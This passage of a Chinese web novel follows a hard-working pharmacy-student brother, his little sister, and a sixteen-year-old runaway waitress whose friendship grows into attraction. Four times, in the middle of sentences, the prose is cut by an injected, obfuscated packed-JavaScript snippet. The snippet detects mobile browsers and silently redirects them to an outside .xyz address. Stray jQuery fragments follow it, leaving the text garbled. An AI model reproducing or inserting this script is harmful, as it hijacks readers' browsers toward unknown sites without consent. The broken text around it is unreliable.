更小的时候夏珂还不觉得,但无论是学校的生理卫生课还是还是妈妈让她单独洗自己的花边小背心的话,都让她渐渐明白,男孩子和女孩子是不一样的,哥哥是家人,但再亲密,哥哥也是男生啊。 以前她会肆无忌惮地爬到哥哥腿上让哥哥抱,但在她明白哥哥是异性之后,她都没有再做出这样过于亲密无间的举动了。 看着妹妹因为纠结无奈而蹙起的眉头,紧紧攥在一起的小手,夏岩好像猜到妹妹还需要买什么了。 他不介意陪妹妹去买,但妹妹如果介意的话…… 夏珂别扭地踢一下路面的小石子,把购物袋和玩偶都和胡乱塞进夏岩怀里:“哥,你在这儿等我,我自己去买。” 她生怕哥哥非要追上来说要陪她,把东西塞给哥哥之后就跑,脚步飞快。 “哎哟,小心!” 夏珂跑得快,心里也着急,没注意看人,转身就和后面走过来的女生撞在了一起。 冲撞的力道下,夏珂差点摔倒,幸好面前的女生扶了她一把。 夏珂慌忙站稳时,看见抓着自己胳膊的人是她前些日子见过的姐姐。 方禾把小姑娘的衣袖捋平整:“没撞疼你吧?” “没有。” 今天又轮到方禾休息,娅萍姐和男朋友约会去了,玉娇姐要补觉,她就只好一个人来街上逛了,买了两个外套两条长裤,还买了些吃的,正准备打道回府,就碰见了夏岩,以及他那个实在漂亮可爱的妹妹。 夏岩不知道方禾是怎么突然冒出来的,但他似乎总能遇见方禾,就也见怪不怪了。 而且,这次方禾好像出现得刚刚好。 夏岩看向方禾:“你着急回店里吗?” “不着急啊,今天我休息。” “那你能陪我妹妹逛一会儿吗?” “行啊。”方禾喜欢这个漂亮小妹妹,没有丝毫犹豫,一口就答应下下来。 夏岩揉了揉妹妹的脑袋,问她的意见:“让这个姐姐陪你去买东西好不好?我先去那边排队买你爱吃的脆皮香酥鸭,你们买完了过来找我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468178|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏珂想了想,点了头。 见妹妹同意,夏岩就把钱包递给了方禾。因为妹妹还在上小学,学校里不让用手机,去小卖部都得用现金,所以不管是家里还是夏岩身上,都常备着现金。 前面那家脆皮香酥鸭的生意很火爆,店门口的队伍排得老长了,所以一开始方禾以为夏岩是想节约时间才自己先去排队,把妹妹丢给她照顾。 直到夏珂左拐右拐把她拉进一家店,方禾才反应过来,夏岩这个哥哥真的是当得心细又体贴。 她们这边买完东西返回,那边的夏岩也已经买到香酥鸭了。 夏岩买了两只,把其中一只给了方禾。 想到自己也是帮忙了的,不算白吃,方禾欣然接下。 东西买够了,玩也玩够了,吃的也买了,是时候回家了。 夏岩家和赵文芳的火锅店离得不远,三个人都朝同一个方向走着。 方禾挨着夏珂走,视线也时常落在夏珂脸上。 小女孩白嫩的脸蛋上透着自然的淡粉色,是那种化妆时刻意化的腮红都比不了的,眼睛又大又亮,睫毛也长,侧脸看着跟只小猫一样,如果笑起来应该会更好看,但这个妹妹好像不是很喜欢笑。 看着看着,方禾的嘴角就弯了起来:“你好可爱,我叫你‘珂珂’好不好?” “可以啊,我家里人都这么叫我。” “那……你想捏一下你的脸,可不可以?” “啊?”小女孩瞪大了眼睛,不太理解面前的姐姐为什么要提出这样的要求,她已经十岁了,又不是小宝宝,为什么要捏她。 夏珂犹豫了太久,方禾以为没戏了,她不想让夏珂为难,主动说:“不可以的话也没关系。” “……可以捏的。”看在这个姐姐人美心善,给她吃的又陪她买东西的份上,她勉为其难给她捏一捏吧。 夏珂答应了,方禾就不客气了,她连忙把手伸向了小姑娘白里透粉的脸蛋,轻轻捏了一下。 软软的,像云朵,像花瓣,捏了一下,方禾满足了,微笑着收回手。 “这个送你吧。”夏珂还记得上次这个姐姐给她喝过娃哈哈,她从怀里的玩偶里挑了一个很符合面前这个姐姐气质的小兔子,递给方禾。 “不用不用,还是你自己留着玩儿吧。” “没关系,我哥哥抓了很多个。” 哦,原来夏岩抓娃娃也很厉害。 方禾开心地接过,摸摸夏珂头上扎着的蝴蝶结发夹:“谢谢,那我请你吃小蛋糕。” 方禾手里提着一块草莓千层蛋糕,本来是买来给自己当晚饭的,但既然珂珂送了兔子玩偶给她,那她也不能白拿,要礼尚往来。 下次她再给自己买蛋糕吃吧。 夏岩提着购物袋,全程一言不发,只是看着眼前这一大一小两个女孩子的互动。 他越看越觉得,方禾大概只是无差别地喜欢长得好看的人。 见到更可爱的妹妹,对他就不热络了。 这样很好,夏岩想,这样他就可以更放心地去赵姨店里了,不用有心理负担。 8. 第 8 章 走到岔路口,三人分别,夏岩带上妹妹回家。 吃了晚饭,洗了碗,夏岩照旧去做家教。 下午还晴得好好的天,到了晚上却淅淅沥沥地下起了雨。 夏岩走到楼下才记起自己忘了带伞,准备回去拿,就见妹妹小跑着给他送伞来了。 他打着伞走到火锅店,因为没在大堂里见到方禾,走近包厢时还有些不习惯。 思敏今天状态不错,作业做得快,只是错误率依旧很高。 夏岩给她检查了一遍,把错了的题一一纠错讲解完,还剩下一些时间,就带思敏简单预习了一下明天的新课。 夏岩讲得仔细,思敏听得昏昏欲睡,脑袋跟小鸡啄米似的,一点一点的。 墙上挂钟的分针刚指到十二,九点半到了,思敏迅速从凳子上跳起来开始收拾书包,绝不给夏岩这个家教老师一丝一毫加班的机会。 这几个月来夏岩都不怎么爱笑了,思敏的样子看得他忍俊不禁:“你要是上课也有这么积极,你妈会放心不少。” 思敏撅撅嘴,偏头瞪他一眼:“你要是下班跟我下课一样积极,我也会开心不少。” 她真的很不理解她的母亲大人,她明显不是学习的料,花再多时间,请再好的老师,该考多少分还是考多少分,有这钱给她补习功课,不如拿来给她买漂亮小裙子和游戏机。 夏岩走出包厢的时候,思敏也紧跟着跑出来了,跑去找妈妈说她困了。 赵文芳笑笑,拿上钥匙和伞,送女儿回去睡觉。 她这个女儿,白天睡不醒,晚上睡不着,可不管再京生,一看见书本就会犯困,赵文芳索性就在晚上排满了家教课,作业做困了正好睡觉,免得她还要熬夜玩她的电话手表。 也许是之前每晚都能看见方禾,又也许是白天见多了,这晚夏岩没能在热气氤氲的火锅店里见到方禾的身影,夏岩居然觉得心里好像空了一块。 夏岩静静在大堂里站了一会儿,出了店门。 一阵风刮过,雨丝斜扑,望着前面有路灯光但依然黑的街道,不知怎的,夏岩忽然就想起了几个月前的一个夜晚。 那晚也是刚下过雨,树影倒映在路面的积水里,从旁边走过时给人一种从树梢上走过的错觉。 夏岩结束家教准备回家,想起晚上思敏摆在桌上的奶茶和炸鸡,他忽然意识到妹妹已经很久没有吃过这些东西了。 家里出事之后,舅舅舅妈借了钱给他们,但这样的无底洞,如果只靠借钱去填,时间长了,怕是连亲戚间的情份都维系不了了。这也是夏岩选择休学的原因之一,家里需要有人挣钱,需要收入去维持基本的运转,而且妹妹还要上学,不能只靠借钱过日子。 他和爸妈过得辛苦,妹妹又何尝不幸苦。曾经爱吃爱玩的小丫头现在懂事得可怜,知道家里的条件不比从前,连买零食的要求都没再提过。 不想起也就算了,一想起来夏岩就觉得心疼,于是夏岩调转脚步,去买了一份双拼的无骨炸鸡、一个香辣鸡腿堡和一大杯奥利奥奶茶。 也就是买完东西回家的路上,夏岩撞到了方禾。 不知道从哪里突然冒出来了一个背着鼓囊囊的书包、全身湿漉漉的小姑娘,在转角处结结实实地撞进了他的怀里。 他是没事,撞过来的小姑娘却因为力的作用朝后趔趄了一下。 夏岩扶了一把,看对方站稳,他说了声抱歉就准备走,谁知这小姑娘居然攥住了他的衣角。 “你好?”是试探的语气,因为可怜,还显得软绵绵的。 夏岩停住脚步,听她继续说:“请问你方便给我买点东西吃吗?我钱包丢了,一天都没吃饭了……” 也许是这话太像骗钱的套路了,小姑娘急切地摆着手替自己澄清:“我不是骗子,我是真的饿了一天了,你不信的话可以不给我钱,给我一点吃的就行。” 面前的女孩,高马尾是湿的,裤脚在滴水,帆布鞋的鞋边是裂开的,鞋子里面应该也湿了,像只被淋透的猫崽子,惨兮兮的,眼神真诚,不像是在骗人。 夏岩问她:“这么晚了,你还不回家?” 女孩脸上没什么表情,淡声说:“不想回去。” 所以,应该是青春期和家里人闹矛盾一生气就跑出来了? 想到这种叛逆的孩子多半都不会跑太远,大概率家就在住附近,自己气过了就会乖乖回家,而且这旁边也有监控,夏岩把手里买给妹妹的炸鸡奶茶递给了这个小姑娘,然后就走了。 他要原路折回去,再给妹妹重新买了一份。 等他再次提着东西路过这个转角时,夏岩发现刚刚那个小姑娘居然还蹲在那里。 她缩在角落,大口吃着汉堡。 终于还是心生不忍,怕她大晚上的遇上什么坏人。 夏岩再次上前,问她:“你家住哪里?我送你回去。” 方禾摇头。 “你跑出来,家里人会担心的,可能他们现在就在找你。” 女孩冷哼一声:“他们才不会担心我。” 夏岩只当她是在跟家里人赌气,继续劝道:“你一个人在这里很危险,快回家。” “不回。”女孩可怜但倔强,咽下一口汉堡,对他说,“而且我家不是这里的,你也没法送我回去。” 不回就不回吧,夏岩想,他现在可是真的急着回家。 急归急,心底的善良和道德感让夏岩无法将这个女孩子独自丢在深夜的街边,起码得让她有个落脚的地方,让她的安全有保障。 短暂的纠结过后,夏岩提出:“那我给你找个住的地方?” 方禾懵懵地抬起头,眼睛亮了一些。 她不想在街边蹲一晚上,她不怕黑,但也害怕有坏人。既然有人愿意帮她,那她有何必受这个雨天还露宿街头的苦。 面前的男生长得温润清隽,看着不像是恶人,但方禾还是留了个心眼,她不敢跟着他去别的地方。 想了想,方禾说:“我住前面的青年旅舍就好,你借我点钱可以吗?” 夏岩本来想的也是带她去住个酒店或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468179|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送她去派出所,自然愿意答应方禾借钱的请求。 “走吧,我送你过去。” 夏岩领着这个离家出走的倔强少女去了前面不远处的青年旅舍。 办好入住,又留下了一笔额外的零钱,亲眼看着小姑娘上了楼,夏岩这才放心往家里赶,想到手里的奶茶炸鸡,夏岩加快了脚步,怕东西冷掉。 那时候夏岩很忙,每天一睁眼都有做不完的事情,忙到没空去刻意回想一个萍水相逢的小姑娘。 但第二天傍晚,夏岩再次经过那家青年旅社的时候,还是记起了前一天晚上的事情,记起了那双湿漉漉的眼睛。 他想知道她的情况,特意进那家旅社去问了,但前台告诉他,昨天晚上入住的女孩子下午已经离开了。 没有留过联系方式,夏岩不知道那个女孩去了哪里。 或许是过了一晚上就想通了,回家了?最好是这样,夏岩希望她路上会平安,会遇到更多好心人,会顺利到家。 夏岩还在心里为那个女孩祈祷,他完全没想到,他当晚居然就在赵文芳的店里见到了方禾。 她换上了店里的衣服,长长的马尾也扎起来了。光线昏暗的雨夜街头,夏岩没仔细打量过方禾的相貌,但这会儿看到了有些变化的她,他还是认出来了。 小姑娘看见他还挺高兴,喜滋滋地跑过来跟他说她有了预支的工资,正愁联系不上他,不知道该怎么还钱给他。 夏岩却高兴不起来。 在旅社入住登记的时候他就看过方禾的身份证,才十六岁,不在家好好写暑假作业,反而离家出走跑到这里来当火锅店的服务员,像什么话。 也因为这样,夏岩对方禾的第一印象并不好,那时,他只以为她是不好好学习、因为叛逆而从家里偷跑出来的不良少女。 直到后面听赵文芳无意说起,虽然方禾是离家出走的,但她家里人知道之后并不是劝她回去或者来找她,反而是放任她一个人走,夏岩才知道,方禾在她的那个家里面应该过得并不好,知道她是攒够了失望才出逃的。 知道这些后,夏岩再次看向这个女孩子时,心里多了几分心疼。 不是她不好,是她没有生在一个对她好的家庭。 夏岩想,如果方禾是自己的妹妹,那他一定舍不得她一个人孤身在外,哄也好,来硬的也好,他一定要把她弄回学校里上学。 想到这里,夏岩越发好奇方禾究竟是在怎样的家庭里长大的,她的家人竟然会这样不负责,这样冷血。 他只知道方禾不读书了不是因为家里经济困难,也不是因为在学校里被欺负,她只是自己不想读,自己选择放弃。 但夏岩不知道方禾放弃读书的原因。 方禾隔三岔五就来找他,就算她不来药店,他几乎天天都能在在火锅店里碰见她。 夏岩有很多机会可以问一问,问她为什么要离家出走,问她家里还有哪些人。 可他没有问,他没有理由去了解方禾的过去,他也怕自己的问题会戳到方禾的伤疤。 9. 第 9 章 天气一天比一天凉快,火锅店的生意也肉眼可见地好了起来。 加之天凉了员工宿舍不用开空调,又省了一笔电费的支出,赵文芳脸上的明显笑容多了,但方禾却累得笑不出来了。 大堂里客人的喧闹声吵得方禾耳朵痛,因为一直走来走去,她的脚底板也被磨得生疼。 想着不管客少还是客多,她的工资都是那么多,方禾就恨不得店里的客人可以少一些,这样她就能少忙一些。 睡了个懒觉,因为劳累而酸痛的肌肉稍稍好受了一点。去药店的次数多了,方禾已经知道,夏岩是中午十二点下班。 她不紧不慢地起床收拾,本来准备去小区门口的早餐摊买吃的,但玉娇姐早上煮了玉米和鸡蛋,给她留了两个,方禾就坐在沙发上吃完才出门。 药店离火锅店这边不算太远,方禾一路走过去,顺便在路边的小摊买了一串烤面筋吃。 微风徐徐地吹着,这个温度走在街上很舒适,方禾望望不如山里蓝的天,忍不住想,这个季节,村里面会在干什么呢?玉米大概早就收过了,现在是在挖红薯?还是在耕地种冬小麦? 哦,黄豆这个时候应该也可以收了,往年奶奶收了黄豆的第一件事,就是用新豆子来点豆腐。 舀一勺在水里泡得颗颗饱满的豆子,倒入石磨的磨眼,再推动磨柄,雪白的豆糊就会从磨盘边缘慢慢流出来。方禾从小就对转磨柄感兴趣,一开始她人小,力气也不够,转不动磨柄,只能用勺子舀豆子玩,看奶奶转磨柄。 等她力气大到能转动磨柄,就变成了奶奶舀豆子,她来磨。 现在嘛,她爷爷虽然会做饭,但有电动的打浆机可以用,八成不会去用石磨磨豆子,太久没人用,也不知道那石磨上有没有长青苔。 慢悠悠吃完烤面筋,药店也走到了,方禾扔掉签子,进去了。 “我要……”店里只有夏岩在,方禾打量了一下货架,又打量了一番夏岩,语带笑意地道,“一袋板蓝根颗粒。” 夏岩有些无奈:“不卖散的。” “那就给我来一整包。” “……一整包有二十小袋,你确定你喝得完?” “我可以分给其他人啊。” “以后想来就来,用不着硬找借口买药。”在火锅店工作也不轻松,夏岩见不得她把自己辛辛苦苦挣的钱乱花。 “好啊。”方禾巴不得少花一份钱,“那我以后就只来看你!” 少女直白的一句话,听得夏岩差点咬到自己的舌头。 正好,这时另一道清甜的女声响起了:“哥,我下课了,走吧。” 夏珂背着书包跑进店里。 夏岩看了看手表:“再等两分钟,交班的人来了我们就回家吃饭。” 方禾笑着看向眼前粉粉嫩嫩的小女孩:“今天是周六,你在上什么课?兴趣班吗?” 夏珂对着这个见过两次面的漂亮姐姐,点点头:“书法班,就在药店对面那栋楼里。” 还没到两分钟,交班的人就到了。 火锅店和夏岩家在同一个方向,自然又是三个人同行。 方禾落后两步,视线从夏岩挺拔的肩背扫过,最后被夏珂的头发吸引。 小女孩今天绑着漂亮的鱼骨辫,发丝顺着编发的纹路自然分开,发尾扎着蝴蝶结,加上本就出众的长相,活脱脱一个小公主的样子。 方禾很喜欢漂亮的辫子,小时候奶奶会给她编。 那时候她还在村里的小学念书,明天清早都要走路去学校。奶奶为了让她多睡一会儿,会把还在睡梦中的她挪到床边,轻柔地帮她梳好头发,然后再叫她起床。 方禾也想自己给自己编辫子,奈何她的手不够巧,每次不是编歪了,就是把头发弄乱了。多次尝试无果,方禾也就不试了。 她实在是不擅长这种考验动手能力的事情,连折千纸鹤都学不会,干嘛还要为难自己去编什么辫子,简单扎个清爽的高马尾也不错。 “珂珂,你的辫子编得真好看。” 被夸赞是一件值得开心的事情,夏珂却不像其他被夸的小女孩一样笑得嘴角弯弯,她伸手摸了摸自己后脑的头发,淡淡道:“我哥编的。” “啊?”方禾面露惊讶,眼神也不自觉地落在了夏岩的身上。 真没看出来,夏岩还有这么心灵手巧的一面。 在方禾过去十多年的刻板印象里,男孩子大多很粗糙,甚至是不修边幅。 她还是第一次遇到这样,即使再忙也会把自己打理得清爽整洁,连编辫子这种她嫌麻烦的活都做得很好的男生。 微风习习,枝头的叶子悄悄落下一片,这动静太细微,走在路上的三个人谁也没有在意,脚下的步子未停,继续往前。 方禾再次抬起头望向树缝间的细碎蓝色,心中对夏岩的好感又多了一点。 这也不能怪她,毕竟夏岩跟她从小接触的那些不学无术、爱捉弄人、经常打架斗殴、性子暴躁恶劣的男生完全不一样。 方禾是在村里读的小学,在镇上读的初中和高中。但不管是村里还是镇上,都被连绵的群山层层叠叠地包围着,交通尚且不便利,经济和教育又怎么会发达呢? 方禾每次想到自己那个落后的家乡都会觉得悲哀。 那片山里住着的人文化水平普遍不高,爷爷辈的人里读书识字的人不多,父母那一辈的人虽然上学读书的多了,但大部分也都是上几年小学,读到初中的人都很少。 至于她这一代人,算是幸运,年龄到了都会被送到学校去。但他们同时也是不幸的,生在这样的山里,父母常年在外务工,爷爷奶奶能给留守的他们提供衣食和关爱,却帮不了他们的学习。而在山村里生来就能得到优待和偏爱的男孩子,家人甚至不会注重培养他们的品行。 所以不管是小学还是中学时代,方禾周围男生的质量都不怎么高。 长相倒是其次,不讲卫生、衣服脏兮兮也是其次,方禾主要是受不了他们的性格和行为习惯。 或是抽烟喝酒,或是翻墙逃课去网吧,或是爱对着女孩子吹口哨,以及开一些并不好笑的下流玩笑。 而这些人,大部分都因为成绩差和不想读书,早早地辍学去了工地打工。 见多了那样的男生,方禾对男生这个群体都没抱什么美好的幻想了。偏偏这个时候,她猛然遇到了相貌好、性格好、气质干净的夏岩,方禾又怎么可能会不喜欢呢? 这种感觉,就像是某年初夏的她,赤脚踩在田里,忽然在一丛稗子里发现了一棵茁壮挺拔的秧苗。 就像是经常吃小卖部里一块钱一个的干瘪面包的她,忽然在卢嘉街头发现了新鲜出炉的裹满坚果和葡萄果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468180|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉的面包,蓬松香软,既惊讶,又欣喜。 就像是喝惯了镇上用奶精、糖浆、色素勾兑的奶茶的她,来了卢嘉之后第一次尝到加了水果和鲜牛奶的乌龙茶。 只喝一口,就爱上了。 夏岩对她的吸引力,甚至超过了她最爱的柚子酱炸鸡和小区外烧烤摊的秘制剁椒面筋。 他比她家乡的那些男生有教养,他比火锅店里的其他小哥有文化,他长得好看,他还帮过她,关心她…… 这样的夏岩,完全是方禾无法抗拒的存在。 就像她家以前的那只狸花猫无法抗拒美味的红薯,就像她逛精品店时无法抗拒漂亮的发夹,就像她无法拒绝有桂花香味的东西。 情不自禁地被吸引,不由自主地想要靠近。 好像有理由,又好像没什么缘由,或许感情就是这样。 说不清,道不明,但就是喜欢。 - 又下了几场秋雨,天更冷了。 火锅店里热气氤氲,夏岩一踏进来,眼镜上就蒙上了一层白茫茫的雾气。 还没等他把眼镜取下来擦擦,就听到一阵急促的脚步声朝他这边过来了。 有客人被火锅溅出的热油烫到了,方禾正急着去拿烫伤膏,她跑得太快,没刹住车,一下子就撞进了夏岩怀里。 尽管这只是撞到不是拥抱,但突然跟一个自己有好感的异性贴得那样近,方禾还是有那么一点点害羞的。 夏岩的呼吸一滞。 视线模糊,在看清面前的人之前,夏岩先闻到了对方发梢上若隐若现的桂花香。 反应过来后,夏岩仓皇后退,恍惚间,他似乎听见了自己擂鼓般的心跳声。 冬天的衣服厚,那样撞一下,夏岩其实根本就没有感觉到什么,可他仍觉得这是一种冒犯,开口就是道歉。 方禾倒是没放在心上,那一丁点儿的羞意过去之后,就继续去忙着找烫伤膏去了。 九点半,夏岩结束家教从包厢出来,店里的客人比先前少了很多,他看见方禾和其他几个服务员围在一起,好像在分什么东西。 方禾一米六出头的个子,照理说,这个身高在人堆里不算特别显眼,但夏岩还是一眼就捕捉到了她的身影。 这种奇妙的感觉,连夏岩自己都说不清是因为什么,他也不敢去深究原因。 方禾显然也看见了他,正在朝他走过来。 夏岩下意识就想快步离开。 “接着!” 方禾走到他面前,扔了一颗糖过来,夏岩还没来得及细想,看着朝他丢过来的那个小东西,他已经下意识抬手去抓。 “咔嗒”一声,糖果被夏岩稳稳地接住,他听见方禾说:“今天我生日,我高兴,请你吃糖。” 走出店门,看着掌心的那颗桂花糖,夏岩陷入了沉思。 这段日子,方禾依然隔三岔五就来找他。 离得近,他又几乎每天都会来火锅店,即使方禾不刻意来找他,遇到也是在所难免的。 有时候碰到珂珂,方禾也会拉着珂珂去玩儿。 方禾喜欢凑过来,早已习惯的夏岩也不在意,他想着无非就是多带了一个妹妹,而且方禾和妹妹聊得来,关系好像也不错。 可今晚这一撞,夏岩意识到,方禾是方禾,妹妹是妹妹,她们是不一样的。 10. 第 10 章 秋意渐浓,浓到极致,便是冬。 方禾每次去药店的路上都能发现,街道两边的树叶在一点一点被北风染黄。 她又跟玉娇姐去逛了一次地下商场,买了厚衣服准备过冬。 方禾喜欢冬天。 她喜欢看田里青青的麦苗,喜欢闻腊梅的香气,喜欢看堆满山尖的白雪,喜欢吃柴火堆里烤出来的红薯。 而且,一想到冬天过了就是春天,方禾就感觉整个冬日都充满了希望。 但这个冬天的方禾却不太高兴,也许是因为再也吃不到奶奶给她烤的红薯了,也许是因为她的日子再也没有盼头了。 方禾只想继续这样待在火锅店里,只想日复一日重复这样的体力劳动,她不想再去想任何与学校有关的事情,不想再去看海,也不再向往大学、向往其他的工作。 这辈子就这样吧。方禾想,混一天算一天就好,反正也没人在乎她活成什么样子。 天气越来越冷,树梢上的叶子越来越少,街道上的行人却越来越多。即便不去刻意看日历,方禾也能感觉到新年的脚步渐渐近了。但她不再像从前那样期盼过年。 以前她盼着过年时奶奶做好吃的,盼着爷爷被爸爸接走,她和奶奶能清清静静地坐在火堆旁吃饭,盼着奶奶偷偷在她的枕头底下塞压岁钱。 现在却没什么好盼的,哦,也不能这么说,至少发工资这件事情还是很值得期待的。 赵文芳早就说了,火锅店从腊月二十八休息到正月初五。 员工宿舍里很乱,满地都是摊开的行李箱,大家都在收拾行李,期待着回家和亲人团聚,只有方禾,像往常一样坐在床上看小说。 同样不回家的人还有娅萍姐。李娅萍不是本地人,她跟家里关系不好,不想回去,但她会去男朋友家过年。 这就意味着,春节期间,员工宿舍里只有方禾一个人。 陈玉娇倒是想带方禾一起回家,只是……自打她哥结了婚,她每次回家都不能空着手,更像是一个暂居的客人或者外人,不能再像小时候那样肆无忌惮地把同学朋友带回家了。 等她什么时候有了自己的小房子,她一定欢迎方禾常来找她。 收拾好行李箱,再提上专门买给侄子侄女买的新年礼物,陈玉娇就赶车去了。 其他姐姐也都各回各家,她们跟方禾不太熟,自然也就不在意方禾是去是留。 最在意方禾去留的,当然还是赵文芳这个老板。 赵文芳看着对门的人陆陆续续都下了楼,想到剩在屋里的那个小丫头片子,她有些笑不出来。 水电费倒是其次,把这么一个小丫头孤零零地留在这里,万一出了什么事情,岂不是还有她的责任?这要是传出去,她还怎么开门做生意? 可是,要在这大过年的时候把本就可怜兮兮的方禾赶出去住,赵文芳又张不开这个嘴。 赵文芳进屋跟方禾嘱咐了几句,让她关好门窗,被瞎跑,自己多注意安全。 因为还要赶飞机带女儿去海南玩儿,赵文芳没耽搁多长时间就走了。 赵文芳先带思敏打车回城东的房子收拾东西,下楼时,她们刚好碰上了买年货的夏岩兄妹俩。 “方禾姐姐也回家去了吗?”打完招呼,夏珂问道。 方禾给她买过甜甜圈吃,来看过她和小伙伴的篮球比赛,她们还一起捡过叶子做书签……几次接触下来,夏珂已经把这个大她好几岁的姐姐当成好朋友了。 而且,妈妈总是很忙,这半年来顾不上她,哥哥再好也是男生,有些事情夏珂只能跟这个姐姐说,一来二去就更熟悉了。 “没呢,就她一个人没走,看起来孤零零怪可怜的,但我也没办法啊。”街对面有一辆正在慢慢调头都车,赵文芳看了一眼车牌号,抓起行李箱,“不说了哈,我们的车来了。” 夏岩在寒风中目送赵姨和思敏坐上车,渐渐远去。 收回目光时,他见妹妹也在盯着车看。 妹妹应该在羡慕和她年纪差不多大的思敏可以坐飞机去玩? 安慰的话还没出口,夏珂扯了扯他的袖子,问:“哥,方禾姐姐为什么过年都不回家啊?” “她家里人对她不好,所以比起回家,她可能更喜欢待在这里吧。” “那我们让方禾姐姐来家里吃年夜饭吧?过年街上的饭馆都不开门的。”夏珂过年就应该热热闹闹的,方禾姐姐也是活泼的人,应该不会喜欢冷清清地过年。 夏岩不反对,摸摸妹妹的小脑袋:“你先回家问问妈妈,看她怎么说。” 夏珂把这件事情记在了心上,一回家就跑去问黄书翠。 黄书翠想了想,答应了。 现在的问题就变成了怎么去找方禾说。 兄妹俩都没有方禾的联系方式。 幸好,有时候店里忙,赵文芳走不开,会让夏岩送思敏上楼睡觉。所以夏岩倒是知道员工宿舍在哪里。 于是,这天晚上,夏岩就带着妹妹去了火锅店旁边的那个小区。 他自己没露面,在楼道里等着,让夏珂去跟方禾说。 这个想法是妹妹提出来的,夏岩本来无所谓方禾答不答应,她一个人走了那么远的路来到卢嘉,过年期间应该也能照顾好自己。但等在楼梯间里的时候,听着窗外呼呼的风声,夏岩居然隐隐有些期待方禾能答应。 他被自己这无厘头的想法惊到了。 几分钟后,夏珂下楼了,手里还拿了一块桂花糕在吃。 “她怎么说?” “一开始说不去,但我多说了一会儿,姐姐就答应了。” 腊月三十这天下午,方禾听到房门被敲响,她猜应该是珂珂来接她,一打开门,外面果然站着一身浅紫色羽绒服的小女孩。 方禾系上围巾,提上她上午出去买的一箱牛奶和一箱坚果,跟着夏珂走了。 她没去别人家过过年,虽然不知道该拿些什么,但空手去总不好。 走了十多分钟,夏珂指着一栋灰扑扑的楼,说:“到了。” 爬楼梯的时候,两个女孩刚好遇上了买菜回来的夏岩,三个人就一起进门。 屋里飘着药渣和消毒水的气味,房间虽然小,但被打扫得很干净,里面的物品也都摆放得井井有条。空间虽然有些挤,但布置得很温馨,茶几上有全家福,墙上挂着“平安喜乐”的十字绣。 黄书翠出来跟方禾打了招呼,方禾看到了她脸上的疲惫,也看到了她眼中的笑。 方禾能感受到,这是很有爱的一家人,尽管不富裕,尽管有人缠绵病榻,但他们依然努力把自己的日子过好。 夏岩在这样温暖有爱的家庭里长大,怪不得会长成这样温柔善良的性子。 跟方禾说了一会儿话,黄书翠就回房间,她不能离开太久。 夏岩提着几大袋菜进了厨房,看样子今晚八成是他做饭。 夏珂拉着方禾去了她的房间,给方禾展示她这几年拿的篮球比赛的奖杯。 方禾一排排看过去,发现其中一个奖杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468181|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上刻着“榆南大学”的字样:“这个是……” “那是我哥的,”夏珂解释道,“他在榆南大学上学。” 方禾顺嘴就问了:“他学的什么专业?” “制药学。”即将满十一岁的夏珂不太明白她哥的专业具体是做什么的,但名字她记得很清楚。 方禾了然,怪不得夏岩可以在药店打工。 她拿起那个奖杯,手指在大学的名字上抚过。 这四个字,她以前写过,可仅仅是写过而已。她那个关于大学的梦,最后也只是停留在纸上。 夏珂没注意方禾眼睛里的光彩在一点点暗下去,她坐到床上,晃了晃自己的脚丫,问:“姐姐,你过年不回家,你妈妈不会想你吗?” 方禾:“姐姐的妈妈很早就不在了。” 夏珂:“啊?那你爸爸呢?” 方禾:“他早就和其他人结婚了,才不会管我。” 房间里瞬时安静了下来,小女孩小心翼翼地“哦”了一声,借口去卫生间,把方禾一个人留在了房间。 夏珂在主卧门口看了看,妈妈不在。她又跑去厨房,这才找到了正在教哥哥怎么给鱼脱骨的妈妈:“妈妈,我刚刚好像说错话了……” “怎么了?”黄书翠女儿散落的发丝别到耳后,问道。 夏珂就把她跟方禾的对话复述了一遍。 夏岩握紧了刮鳞刀,心里泛起一股心疼。 原来她是那样长大的。 